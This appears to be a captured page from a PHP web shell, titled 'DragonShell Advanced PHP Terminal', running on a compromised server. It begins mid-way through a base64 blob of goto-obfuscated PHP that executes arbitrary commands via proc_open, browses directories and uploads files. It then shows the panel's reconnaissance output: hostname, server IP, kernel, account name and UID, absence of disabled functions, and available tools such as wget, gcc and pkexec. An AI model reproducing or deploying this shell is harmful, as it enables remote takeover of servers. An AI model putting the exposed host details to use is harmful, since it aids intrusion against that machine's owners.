TYzXDcyXHhhIjsgZm9yZWFjaCAoJGRpcmVjdG9yaWVzIGFzICRkaXIpIHsgJG91dHB1dF9jb250ZW50IC49ICJcNDBcNDBcMTMzXDEwNFx4NDlceDUyXHg1ZFw0MFw0MCIgLiAkZGlyIC4gIlx4YSI7IH0gJG91dHB1dF9jb250ZW50IC49ICJceGFceDQ2XHg2OVwxNTRceDY1XDE2M1w3Mlx4YSI7IGZvcmVhY2ggKCRmaWxlcyBhcyAkZmlsZSkgeyAkb3V0cHV0X2NvbnRlbnQgLj0gIlx4MjBcNDBcMTMzXDEwNlx4NDlcMTE0XDEwNVwxMzVceDIwIiAuICRmaWxlIC4gIlwxMiI7IH0gJG91dHB1dF9jb250ZW50IC49ICJcMTIiOyB9IGVsc2VpZiAoJGNvbW1hbmQgPT09ICJceDczXHg3OVx4NzNceDY5XHg2ZVx4NjZcMTU3IikgeyAkb3V0cHV0X2NvbnRlbnQgLj0gIlwxMjNceDc5XHg3M1wxNjRcMTQ1XDE1NVw0MFx4NDlceDZlXDE0NlwxNTdceDcyXDE1NVwxNDFceDc0XDE1MVwxNTdceDZlXDcyXHhhIjsgJG91dHB1dF9jb250ZW50IC49ICJcNDBcNDBcMTE3XDEyM1w3Mlw0MCIgLiAkb3NfaW5mbyAuICJcMTIiOyAkb3V0cHV0X2NvbnRlbnQgLj0gIlw0MFx4MjBcMTIwXHg0OFx4NTBceDIwXDEyNlx4NjVceDcyXDE2M1x4NjlcMTU3XDE1Nlw3Mlx4MjAiIC4gJHBocF92ZXJzaW9uIC4gIlwxMiI7ICRvdXRwdXRfY29udGVudCAuPSAiXDQwXDQwXDEwM1x4NzVcMTYyXDE2Mlx4NjVceDZlXDE2NFw0MFwxMjVcMTYzXHg2NVx4NzJcNzJcNDAiIC4gJGN1cnJlbnRfdXNlciAuICJceGEiOyAkb3V0cHV0X2NvbnRlbnQgLj0gIlw0MFx4MjBceDQzXDE2NVx4NzJceDcyXHg2NVwxNTZceDc0XDQwXDEwNFwxNTFceDcyXDE0NVwxNDNcMTY0XDE1N1x4NzJceDc5XHgzYVw0MCIgLiAkd29ya19kaXIgLiAiXDEyXDEyIjsgfSBlbHNlIHsgJGRlc2NyaXB0b3JzcGVjID0gYXJyYXkoMCA9PiBhcnJheSgiXHg3MFwxNTFceDcwXHg2NSIsICJcMTYyIiksIDEgPT4gYXJyYXkoIlx4NzBcMTUxXHg3MFwxNDUiLCAiXDE2NyIpLCAyID0+IGFycmF5KCJceDcwXHg2OVx4NzBcMTQ1IiwgIlwxNjciKSk7ICRwcm9jZXNzID0gcHJvY19vcGVuKCRjb21tYW5kLCAkZGVzY3JpcHRvcnNwZWMsICRwaXBlcywgJHdvcmtfZGlyKTsgaWYgKGlzX3Jlc291cmNlKCRwcm9jZXNzKSkgeyBmY2xvc2UoJHBpcGVzWzBdKTsgJGNtZF9vdXRwdXQgPSBzdHJlYW1fZ2V0X2NvbnRlbnRzKCRwaXBlc1sxXSk7ICRlcnJvcnMgPSBzdHJlYW1fZ2V0X2NvbnRlbnRzKCRwaXBlc1syXSk7IGZjbG9zZSgkcGlwZXNbMV0pOyBmY2xvc2UoJHBpcGVzWzJdKTsgJHJldHVybl92YWx1ZSA9IHByb2NfY2xvc2UoJHByb2Nlc3MpOyBpZiAoIWVtcHR5KCRjbWRfb3V0cHV0KSkgeyAkb3V0cHV0X2NvbnRlbnQgLj0gaHRtbHNwZWNpYWxjaGFycygkY21kX291dHB1dCk7IH0gaWYgKCFlbXB0eSgkZXJyb3JzKSkgeyAkb3V0cHV0X2NvbnRlbnQgLj0gIlwxMDVcMTIyXDEyMlwxMTdcMTIyXDcyXDEyIiAuIGh0bWxzcGVjaWFsY2hhcnMoJGVycm9ycyk7IH0gfSBlbHNlIHsgJG91dHB1dF9jb250ZW50IC49ICJceDQ2XDE0MVx4NjlceDZjXDE0NVwxNDRceDIwXDE2NFwxNTdcNDBcMTQ1XHg3OFx4NjVcMTQzXDE2NVx4NzRcMTQ1XDQwXHg2M1wxNTdceDZkXHg2ZFwxNDFcMTU2XHg2NFx4YSI7IH0gJG91dHB1dF9jb250ZW50IC49ICJceGEiOyB9IH0gZ290byB6MEx1WDsgd2NDZUg6IGdvdG8gWFV0MmI7IGdvdG8gZUs0aFg7IGlucUNGOiA/Pgo8L3NwYW4+CiAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ic3lzdGVtLWluZm8iPgogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJpbmZvLWl0ZW0iPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGkgY2xhc3M9ImZhcyBmYS1taWNyb2NoaXAiPjwvaT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzcGFuPlBIUCA8P3BocCAgZ290byBVb2tXejsgQlkwN1U6IGVjaG8gbWluKDEwMCwgJG1lbW9yeV9wZXJjZW50KTsgZ290byBVcHcxRDsgSFdCRHA6IGdvdG8gV3dkU0k7IGdvdG8gSHhhTlc7IEh4YU5XOiB5cTdMNjogZ290byBMdGNoajsgUlpaVnE6ID8+CjwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBzdHlsZT0ibWFyZ2luLXRvcDogMTBweDsiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPSJpbmZvLWl0ZW0iPjxpIGNsYXNzPSJmYXMgZmEtbWljcm9jaGlwIj48L2k+IEN1cnJlbnQgTG9hZDwvc3Bhbj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICA8L2Rpdj4KICAgICAgICAKICAgICAgICA8Zm9vdGVyPgogICAgICAgICAgICA8cD5EcmFnb25TaGVsbCBBZHZhbmNlZCBQSFAgVGVybWluYWwgfCBNdWx0aS1TZXJ2ZXIgTmF2aWdhdGlvbiBTeXN0ZW0gfCBGaWxlIFVwbG9hZCBFbmFibGVkPC9wPgogICAgICAgICAgICA8cD5BbGwgYWN0aXZpdGllcyBhcmUgbG9nZ2VkIGFuZCBtb25pdG9yZWQgfCBVbmF1dGhvcml6ZWQgYWNjZXNzIGlzIHByb2hpYml0ZWQ8L3A+CiAgICAgICAgPC9mb290ZXI+CiAgICA8L2Rpdj4KICAgIAogICAgPHNjcmlwdD4KICAgICAgICBjb25zdCBjYW52YXMgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnbWF0cml4Q2FudmFzJyk7CiAgICAgICAgY29uc3QgY3R4ID0gY2FudmFzLmdldENvbnRleHQoJzJkJyk7CiAgICAgICAgCiAgICAgICAgY2FudmFzLndpZHRoID0gd2luZG93LmlubmVyV2lkdGg7CiAgICAgICAgY2FudmFzLmhlaWdodCA9IHdpbmRvdy5pbm5lckhlaWdodDsKICAgICAgICAKICAgICAgICBjb25zdCBjaGFycyA9ICJBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWjAxMjM0NTY3ODkkI0AlJioiOwogICAgICAgIGNvbnN0IGZvbnRTaXplID0gMTQ7CiAgICAgICAgY29uc3QgY29sdW1ucyA9IGNhbnZhcy53aWR0aCAvIGZvbnRTaXplOwogICAgICAgIAogICAgICAgIGNvbnN0IGRyb3BzID0gW107CiAgICAgICAgZm9yKGxldCBpID0gMDsgaSA8IGNvbHVtbnM7IGkrKykgewogICAgICAgICAgICBkcm9wc1tpXSA9IE1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqIGNhbnZhcy5oZWlnaHQgLyBmb250U2l6ZSk7CiAgICAgICAgfQogICAgICAgIAogICAgICAgIGZ1bmN0aW9uIGRyYXdNYXRyaXgoKSB7CiAgICAgICAgICAgIGN0eC5maWxsU3R5bGUgPSAncmdiYSgwLCAwLCAwLCAwLjA1KSc7CiAgICAgICAgICAgIGN0eC5maWxsUmVjdCgwLCAwLCBjYW52YXMud2lkdGgsIGNhbnZhcy5oZWlnaHQpOwogICAgICAgICAgICAKICAgICAgICAgICAgY3R4LmZpbGxTdHlsZSA9ICcjMEYwJzsKICAgICAgICAgICAgY3R4LmZvbnQgPSBmb250U2l6ZSArICdweCBtb25vc3BhY2UnOwogICAgICAgICAgICAKICAgICAgICAgICAgZm9yKGxldCBpID0gMDsgaSA8IGRyb3BzLmxlbmd0aDsgaSsrKSB7CiAgICAgICAgICAgICAgICBjb25zdCB0ZXh0ID0gY2hhcnMuY2hhckF0KE1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqIGNoYXJzLmxlbmd0aCkpOwogICAgICAgICAgICAgICAgY3R4LmZpbGxUZXh0KHRleHQsIGkgKiBmb250U2l6ZSwgZHJvcHNbaV0gKiBmb250U2l6ZSk7CiAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgIGlmKGRyb3BzW2ldICogZm9udFNpemUgPiBjYW52YXMuaGVpZ2h0ICYmIE1hdGgucmFuZG9tKCkgPiAwLjk3NSkgewogICAgICAgICAgICAgICAgICAgIGRyb3BzW2ldID0gMDsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgZHJvcHNbaV0rKzsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICAKICAgICAgICBzZXRJbnRlcnZhbChkcmF3TWF0cml4LCAzMyk7CiAgICAgICAgCiAgICAgICAgZnVuY3Rpb24gdXBkYXRlQ2xvY2soKSB7CiAgICAgICAgICAgIGNvbnN0IG5vdyA9IG5ldyBEYXRlKCk7CiAgICAgICAgICAgIGNvbnN0IHRpbWVTdHJpbmcgPSBub3cudG9Mb2NhbGVUaW1lU3RyaW5nKCk7CiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdjbG9jaycpLnRleHRDb250ZW50ID0gdGltZVN0cmluZzsKICAgICAgICB9CiAgICAgICAgCiAgICAgICAgc2V0SW50ZXJ2YWwodXBkYXRlQ2xvY2ssIDEwMDApOwogICAgICAgIHVwZGF0ZUNsb2NrKCk7CiAgICAgICAgCiAgICAgICAgd2luZG93LmFkZEV2ZW50TGlzdGVuZXIoJ3Jlc2l6ZScsIGZ1bmN0aW9uKCkgewogICAgICAgICAgICBjYW52YXMud2lkdGggPSB3aW5kb3cuaW5uZXJXaWR0aDsKICAgICAgICAgICAgY2FudmFzLmhlaWdodCA9IHdpbmRvdy5pbm5lckhlaWdodDsKICAgICAgICB9KTsKICAgICAgICAKICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnY29tbWFuZElucHV0JykuYWRkRXZlbnRMaXN0ZW5lcigna2V5ZG93bicsIGZ1bmN0aW9uKGUpIHsKICAgICAgICAgICAgaWYoZS5rZXkgPT09ICdFbnRlcicpIHsKICAgICAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdjb21tYW5kRm9ybScpLnN1Ym1pdCgpOwogICAgICAgICAgICB9CiAgICAgICAgfSk7CiAgICAgICAgCiAgICAgICAgZnVuY3Rpb24gY2hhbmdlRGlyKHBhdGgpIHsKICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3dvcmtEaXJJbnB1dCcpLnZhbHVlID0gcGF0aDsKICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2NvbW1hbmRGb3JtJykuc3VibWl0KCk7CiAgICAgICAgfQogICAgICAgIAogICAgICAgIGZ1bmN0aW9uIGNoYW5nZVNlcnZlcihzZXJ2ZXJQYXRoKSB7CiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd3b3JrRGlySW5wdXQnKS52YWx1ZSA9IHNlcnZlclBhdGg7CiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZXJ2ZXJQYXRoSW5wdXQnKS52YWx1ZSA9IHNlcnZlclBhdGg7CiAgICAgICAgICAgIC8vINil2YbYtNin2KEg2K3ZgtmEINmF2K7ZgdmKINmE2KrYutmK2YrYsSDYp9mE2LPZitix2YHYsQogICAgICAgICAgICBjb25zdCBoaWRkZW5JbnB1dCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ2lucHV0Jyk7CiAgICAgICAgICAgIGhpZGRlbklucHV0LnR5cGUgPSAnaGlkZGVuJzsKICAgICAgICAgICAgaGlkZGVuSW5wdXQubmFtZSA9ICdjaGFuZ2Vfc2VydmVyJzsKICAgICAgICAgICAgaGlkZGVuSW5wdXQudmFsdWUgPSBzZXJ2ZXJQYXRoOwogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnY29tbWFuZEZvcm0nKS5hcHBlbmRDaGlsZChoaWRkZW5JbnB1dCk7CiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdjb21tYW5kRm9ybScpLnN1Ym1pdCgpOwogICAgICAgIH0KICAgICAgICAKICAgICAgICBmdW5jdGlvbiBoYW5kbGVEaXJDaGFuZ2UoKSB7CiAgICAgICAgICAgIGNvbnN0IHNlbGVjdCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdkaXJTZWxlY3QnKTsKICAgICAgICAgICAgY29uc3QgcGF0aCA9IHNlbGVjdC5vcHRpb25zW3NlbGVjdC5zZWxlY3RlZEluZGV4XS52YWx1ZTsKICAgICAgICAgICAgY2hhbmdlRGlyKHBhdGgpOwogICAgICAgIH0KICAgICAgICAKICAgICAgICBmdW5jdGlvbiBjbGVhck91dHB1dCgpIHsKICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ291dHB1dCcpLnZhbHVlID0gJyc7CiAgICAgICAgfQogICAgICAgIAogICAgICAgIGZ1bmN0aW9uIGRvd25sb2FkT3V0cHV0KCkgewogICAgICAgICAgICBjb25zdCBvdXRwdXQgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnb3V0cHV0JykudmFsdWU7CiAgICAgICAgICAgIGNvbnN0IGJsb2IgPSBuZXcgQmxvYihbb3V0cHV0XSwgeyB0eXBlOiAndGV4dC9wbGFpbicgfSk7CiAgICAgICAgICAgIGNvbnN0IHVybCA9IFVSTC5jcmVhdGVPYmplY3RVUkwoYmxvYik7CiAgICAgICAgICAgIAogICAgICAgICAgICBjb25zdCBhID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnYScpOwogICAgICAgICAgICBhLmhyZWYgPSB1cmw7CiAgICAgICAgICAgIGEuZG93bmxvYWQgPSAnZHJhZ29uc2hlbGxfb3V0cHV0LnR4dCc7CiAgICAgICAgICAgIGRvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7CiAgICAgICAgICAgIGEuY2xpY2soKTsKICAgICAgICAgICAgCiAgICAgICAgICAgIHNldFRpbWVvdXQoKCkgPT4gewogICAgICAgICAgICAgICAgZG9jdW1lbnQuYm9keS5yZW1vdmVDaGlsZChhKTsKICAgICAgICAgICAgICAgIFVSTC5yZXZva2VPYmplY3RVUkwodXJsKTsKICAgICAgICAgICAgfSwgMTAwKTsKICAgICAgICB9CiAgICAgICAgCiAgICAgICAgZnVuY3Rpb24gc2Nyb2xsVG9Cb3R0b20oKSB7CiAgICAgICAgICAgIGNvbnN0IHRleHRhcmVhID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ291dHB1dCcpOwogICAgICAgICAgICB0ZXh0YXJlYS5zY3JvbGxUb3AgPSB0ZXh0YXJlYS5zY3JvbGxIZWlnaHQ7CiAgICAgICA=')); ?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 60.06 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002